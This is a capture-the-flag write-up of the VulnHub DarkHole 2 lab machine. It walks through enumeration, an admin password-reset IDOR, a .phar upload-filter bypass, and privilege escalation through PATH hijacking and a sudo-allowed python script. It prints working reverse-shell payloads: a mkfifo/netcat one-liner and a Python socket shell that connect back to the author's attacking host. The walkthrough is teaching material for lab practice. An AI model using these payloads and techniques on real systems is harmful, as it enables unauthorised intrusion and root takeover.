VulnHub DarkHole 2 Writeup

Read Time:18 Minute

VulnHub.com website is an old friend of Cyber Security community and a very good resource for vulnerable machines so newbies can learn intrusive security skills, and experienced professionals can test their own skills.
VulnHub’s goal is simple, in their own words, “To provide materials that allows anyone to gain practical ‘hands-on’ experience in digital security, computer software & network administration”.

Machines provided cover a wide range of cyber security subjects. Machines are created and provided by the security community. The deal here is that you can download a vulnerable machine and run it on your machine, giving you much more control over it. The disadvantage is that you are running something that is not always verified by Vulnhub, and therefore may be dangerous to run on your own machine. Just have that in mind before running anything in a VM with full Internet access ;).

I’ve decided that it will be loads of fun running through the vulnerable machines and would also learn new and different ways to do a lot of stuff, so here we go!

Vulnerable Machine Information

Name: DarkHole2
Series: DarkHole
Release Date: 2021-07-18
Author: Jehad Alqurashi
URL: https://www.vulnhub.com/entry/darkhole-1,724/
Difficulty: Easy
Description: It’s a box for beginners, but not easy, Good Luck. Hint: Don’t waste your time For Brute-Force

Service Enumeration

After running the machine in VMware, it got IP 172.16.236.129 which I’ll include in my /etc/hosts file to reference it by the name “dh2“, let’s first try to enumerate all services we have avaiable:

Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-29 14:39 IST
Nmap scan report for dh2 (172.16.236.129)
Host is up (0.00086s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 3072 e4:50:d9:50:5d:91:30:50:e9:b5:7d:ca:b0:51:db:74 (RSA)
| 256 73:0c:76:86:60:63:06:00:21:c2:36:20:3b:99:c1:f7 (ECDSA)
|_ 256 54:53:4c:3f:4f:3a:26:f6:02:aa:9a:24:ea:1b:92:8c (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: DarkHole
MAC Address: 00:0C:29:32:63:B2 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE
HOP RTT ADDRESS
1 0.86 ms dh2 (172.16.236.129) OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds

HTTP Service

There is an SSH service on port 22/TCP that we could explore, but so far we don’t have enough information. Also the author said “forget about brute forcing” so let’s skip to HTTP instead and see what we can find.

Accessing the “http://dh2” we get a very simple screen:

The screen contains a “Login” and “View Details” links. Checking out the code we can’t find anything useful as well.

<html> <head> <title>DarkHole</title> <link rel="stylesheet" href="css/home.css">
</head>
<body> <div class="wrapper"> <div class="Container"> <div class="nav"> <div class="logo"> DarkHole </div> <div class="menu"> <ul class="navMenu"> <li><a href="logout.php">logout</a></li> <li><a href="dashboard.php?id=2">Dashboard</a> </li> </ul> </div> </div> <div class="header"> <h1>The Spark Dimond</h1> <p>New area / Future City</p> <button type="button">View Details</button> </div> </div> </div>
</body>
</html>

Notice that the “View Details” is sending us nowhere. Focusing on the “Login” button now, it takes us to a login page (obviously) where we can also register as a new user.

First thing that crossed my mind was to try to enumerate users. The simplest way to do it is to try to register with a few normal existent users, such as “admin” and see if the application shows us an error message. And indeed when we try to register with “admin” it shows us “email or username is already taken“, which is an indication that the “admin” user already exists.

OK, after registering and authenticating with a regular user “test” we have the following page:

Notice that the URL “http://dh2/dashboard.php?id=3” tells us that we are the third user. I’ve also registered with another user before, making that previous user the “id=2”. If we are IDs 2 and 3, it means that ID 1 might be the admin, but unfortunatelly when trying to access it “https://dh2/dashboard.php?id=1” we have the error “Your Not Allowed To Access another user information“. There are no cookies, apart from the “PHPSESSID” to manage user’s access.

Let’s use our friend nikto on a very simple scan to try to find something userfull:

# gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://dh2 ===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dh2
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/07/29 15:42:37 Starting gobuster in directory enumeration mode
===============================================================
/upload (Status: 301) [Size: 295] [--> http://dh2/upload/]
/css (Status: 301) [Size: 292] [--> http://dh2/css/] /js (Status: 301) [Size: 291] [--> http://dh2/js/] /config (Status: 301) [Size: 295] [--> http://dh2/config/]
/server-status (Status: 403) [Size: 268] ===============================================================
2021/07/29 15:42:51 Finished
===============================================================

As you can see, there are 5 directories found. Going through each one of them, the first 4 allow file indexing, the last one is forbidden.

Analyzing the code let’s do something very silly, notice how in the pasword reset option code we have the ID that will be updated:

What if we provide it with a new password, let’s say “test” and also go to the code, change the ID value from 3 to 1 (which might be the admin) and see if we can force admin’s password to be changed. After we do the system answers with a “Password Has been Updated“.

We might’ve just hit jackpot here, let’s try to authenticate with “admin” and our recently changed password.

And there we go, we have admin access to the web application now. And notice that now we also have something else, a file upload.

Well, we know already that the system is working in PHP, right? What if we upload something very simple just to see if PHP is running accordingly and check what we can do further. Let’s create a php file called “phpinfo.php” with the following content in it:

<?php phpinfo(); ?>

After uploading it to the system, it says “Sorry , Allow Ex : jpg,png,gif”. So I guess it only accepts JPG, PNG and GIF. When trying to upload a simple GIF file, it works accordingly and sends the file to “http://dh2/upload/internet.gif“. Notice that the name haven’t changed.

Acessing that directory “http://dh2/upload/” (remember that this is one of the directories NIKTO showed us) we find this:

Inspecting the website code, more especifically the upload feature, there is no client-side javascript code that would enforce the file Mime Type, so this is obviously enforced by the server-side. So, what we know now is that the web application is validating the type of file, but what we don’t know is how it is being done, by extension (which appears to be the case) or by mime type.

After intercepting the HTTP requet in Burp, i’ve tried to change the mime type, extension name in the filename, and a few more things, none worked to bypass the protection. The server seems to be validating only the file type extension and not the type of file itself (using headers etc), so we need to either find an extension that the filters missed or find a way to inject a file using the extensions available.

I’ve tried severla techniques such as:

  • Uploading a PHP file, renamed as “phpinfo.phpD.gif”, with php code in it, and then while uploading, Intercepting the request with Burp Suite, and executing a Null Character attack by changing the “D” character to “00” in HEX tab trying to exclude the “.gif” portion of the file name, leaving only the “.php”
  • Injecting all kinds of php code in the comment section of images

None of them worked, so I’ve decided to upload the same php code in different extensions that the filter might’ve missed. Finally after a while I found an extension called PHAR. PHAR (PHArchive) file is a package format to enable distribution of applications and libraries by bundling many PHP code files and other resources (e.g. imagesstylesheets, etc.) into a single archive file.

After uploading our previous php code inside a “phpinfo.phar” we managed to execute PHP code in the server:

Now all we have to do is find a way to execute real commands in this server to get a shell. Unfortunatelly we will only get a lower shell, as if you investigate the PHP Info returned page, the apache server in there is running with “www-data” privileges.

I’ve decided to use a reverse shell, so I cloned the github repository from HERE. After that I simply changed the Call back IP to my kali box. This reverse shell works on any port, so I left running a netcat on port 4444. I’ve also renamed the file to “rev.phar

$ nc -lvp 4444 listening on [any] 4444 ...

Now we just upload our new file and execute it on the upload folder and we have a shell, also notice that we are under the apache user’s privilege, “www-data”:

$ nc -lvp 4444 listening on [any] 4444 ...
connect to [172.16.236.130] from dh2 [172.16.236.129] 59668
Linux darkhole 5.4.0-80-generic #90-Ubuntu SMP Fri Jul 9 22:49:44 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux 15:15:16 up 4:43, 0 users, load average: 0.15, 0.09, 0.03
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation (from www-data to john)

Now it is time for some privilege escalation. First let’s see if we can get a better shell then just SH.

$ bash -i
bash: cannot set terminal process group (943): Inappropriate ioctl for device
bash: no job control in this shell
www-data@darkhole:/$ 

Now that we have a better shell we can start looking for easy ways to escalate our privileges. Le’s first analyse what users we have in the system:

$ ls -lha /home/ total 16K drwxr-xr-x 4 root root 4.0K Jul 16 09:58 . drwxr-xr-x 20 root root 4.0K Jul 15 18:14 .. drwxr-xr-x 4 darkhole darkhole 4.0K Jul 17 21:07 darkhole drwxrwxrwx 5 john john 4.0K Aug 7 12:23 john 

We have a user “john”, his diretory is set with permissions 777, which allows everyone to write and execute anything inside. This may be our way in. Let’s go deeper and inspect the contents of that directory:

$ ls -lha /home/john total 80K drwxrwxrwx 5 john john 4.0K Aug 7 12:23 . drwxr-xr-x 4 root root 4.0K Jul 16 09:58 .. -rw------- 1 john john 1.7K Jul 17 21:40 .bash_history -rw-r--r-- 1 john john 220 Jul 16 09:58 .bash_logout -rw-r--r-- 1 john john 3.7K Jul 16 09:58 .bashrc drwx------ 2 john john 4.0K Jul 17 20:35 .cache drwxrwxr-x 3 john john 4.0K Jul 17 16:59 .local -rw------- 1 john john 37 Jul 17 16:42 .mysql_history -rw-r--r-- 1 john john 807 Jul 16 09:58 .profile drwxrwx--- 2 john www-data 4.0K Jul 17 21:08 .ssh -rwxrwx--- 1 john john 1 Jul 17 21:27 file.py -rwxrwx--- 1 john john 8 Jul 17 21:12 password -rwsr-xr-x 1 root root 17K Jul 17 20:22 toto -rw-rw---- 1 john john 24 Jul 17 21:47 user.txt 

Well, in this directory we have a “user.txt” and “password” file. We also have a file with SUID permissions named “toto“, the “toto” file also belongs to user root, which means that it will be run in the root’s privilege escope. This might be our way in. Let’s see what it is and what it does.

$ file toto toto: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f55e5cb083b2207ed23fc83f2dbf1cba931c868, for GNU/Linux 3.2.0, not stripped
$ ./toto
./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

It is an ELF executable file. When run, we have the output of a Linux ‘id‘ command. So this ‘toto‘ file is calling the ‘id‘ command somehow. Checking out quicly where the ‘id‘ command is in the system, we can clearly see that there nothing we can do about it, as the in directory it is located we have no permissions to change anything.

$ which id
/usr/bin/id
$ ls -lhad /usr/bin
drwxr-xr-x 2 root root 36K Jul 30 06:08 /usr/bin

My initial idea was to substitute the default ‘id‘ command by another with a malicious content that could give us access to the host, but as we don’t have permissions to do so, we have to find another way.

What if we find another way for ‘toto‘ to locate ‘id‘ command somewhere else? There is an easy way to do so by changing the PATH variable. The ‘PATH‘ variable is the Linux variable that manages where we can load commands from the system without specifying their absolute spath, that’s why we just use ‘ls‘ instead of ‘/bin/ls‘, etc. The same thing applies to ‘id‘.

So, let’s see how the PATH variable looks from our www-data user.

$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

OK which was located previously in ‘/usr/bin‘ directory, which is the sixth directory from left to right in our PATH variable. One way to force it, is by adding another directory in front of the ones we already have, to force the system into looking for the ‘id‘ command in that directory first. Let’s add ‘/home/john‘ in front of the PATH and execute the ‘toto‘ command again and see what happens.

$ export PATH=/home/john:$PATH
$ echo $PATH
/home/john:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
$ ./toto
uid=1001(john) gid=33(www-data) groups=33(www-data)

We successfully changed the PATH as we intended to, and run ‘toto‘ again but yet, nothing happened. Why? Very simple, because once it doesn’t find the ‘id‘ command locally on the current directory, as instructed by the PATH variable, it tries to find in each directory from LEFT to RIGHT, until it finds some to execute.

So … let’s create an ‘id‘ command inside ‘/home/john‘ with a simple command, give it executable permissions, run it and see what happens.

$ echo "abc" > id
$ chmod a+x id
$ ./toto
/home/john/id: 1: abc: not found

Notice that we managed to force the system into running our own ‘id‘ locally. Now it is a question of finding a way to get access as ‘john‘. Let’s do the simplest thing we can do. Let’s create a netcat listener in our Kali machine on port 1234.

$ nc -lvp 1234
listening on [any] 1234 ...

Now let’s create a simple bash reverse shell inside id, in a way that when ‘toto‘ runs, it will run our ‘id‘ and then we will get a shell back.

$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.236.130 1234 >/tmp/f" > id
$ chmod a+x id
$ cat id
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.236.130 1234 >/tmp/f
$ ./toto

Now let’s get back to our netcat listener, and we finally have a shell with under ‘john‘ user.

$ nc -lvp 1234 1 ⨯
listening on [any] 1234 ...
connect to [172.16.236.130] from dh2 [172.16.236.129] 55616
/bin/sh: 0: can't access tty; job control turned off
$ whoami
john

Privilege Escalation (from john to root)

Now it is time for some privilege escalation. Notice that now that we are ‘john’ we can access any files inside his home directory ‘/home/john’, therefore we can see our first flag at ‘user.txt‘. We can also check the ‘password‘ file which is john’s password. So now we have john’s user password, so we can now connect to the box directly through SSH, without having to rely on reverse shells. That makes our job a bit easier:

$ ssh john@dh2 130 ⨯
The authenticity of host 'dh2 (172.16.236.129)' can't be established.
ECDSA key fingerprint is SHA256:u8i1mZrpvO0JuzANbOV/qxYeemIda12tKUvpHKskRdc.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'dh2,172.16.236.129' (ECDSA) to the list of known hosts.
john@dh2's password: Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat 07 Aug 2021 02:14:18 PM UTC System load: 0.03 Processes: 244 Usage of /: 41.5% of 18.57GB Users logged in: 0 Memory usage: 41% IPv4 address for ens33: 172.16.236.129 Swap usage: 0% * Super-optimized for small spaces - read how we shrank the memory footprint of MicroK8s to make it the smallest full K8s around. https://ubuntu.com/blog/microk8s-memory-optimisation 7 updates can be applied immediately.
To see these additional updates run: apt list --upgradable Last login: Sat Jul 17 21:46:18 2021

Now that we have access to all of john’s files, let’s start looking for a way up to root. Let’s see if there is anything interesting inside ‘.bash_history‘ (file that keeps record of all commands typed by the user).

We can find a lot of stuff inside this file, including:

  • Local MySQL Service username and password
  • The SSH public file
  • … a few others

But before we go deep into that, let’s try to find the lower hanging fruits first. let’s check what commands ‘john’ can run as root by listing his ‘sudo‘ permissions:

john@darkhole:~$ sudo -l
[sudo] password for john: Matching Defaults entries for john on darkhole: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User john may run the following commands on darkhole: (root) /usr/bin/python3 /home/john/file.py

Apparently we can run a python script by issuing ‘/usr/bin/python3 /home/john/file.py‘ as root. The file ‘file.py’ belongs to john user, which means we can edit it and include things in there 😉

john@darkhole:~$ ls -lha file.py -rwxrwx--- 1 john john 1 Jul 17 21:27 file.py
john@darkhole:~$ cat file.py john@darkhole:~$

As you can see, the file is completely empty so we will accomplish nothing by running it, instead we will include some code in it so that we can have another reverse shell. Let’s first set another netcat listener on port 1234 in our Kali machine to be ready for the shell:

$ nc -lvp 1234 1 ⨯
listening on [any] 1234 ...

Now that we have a listener we will include the following code inside the ‘file.py‘ file.

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.16.236.130",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

Let’s run it and see what happens:

john@darkhole:~$ sudo /usr/bin/python3 /home/john/file.py

Let’s get back to our listener and see what happened:

$ nc -lvp 1234
listening on [any] 1234 ...
connect to [172.16.236.130] from dh2 [172.16.236.129] 55628
# /usr/bin/id
uid=0(root) gid=0(root) groups=0(root)

And there we have it. You will find the final root flag at ‘/root/root.txt‘.

Conclusion

Despite of being easy, this machine teaches the beginner several good lessons. I hope you enjoyed this one and learned loads. See you on the next machine.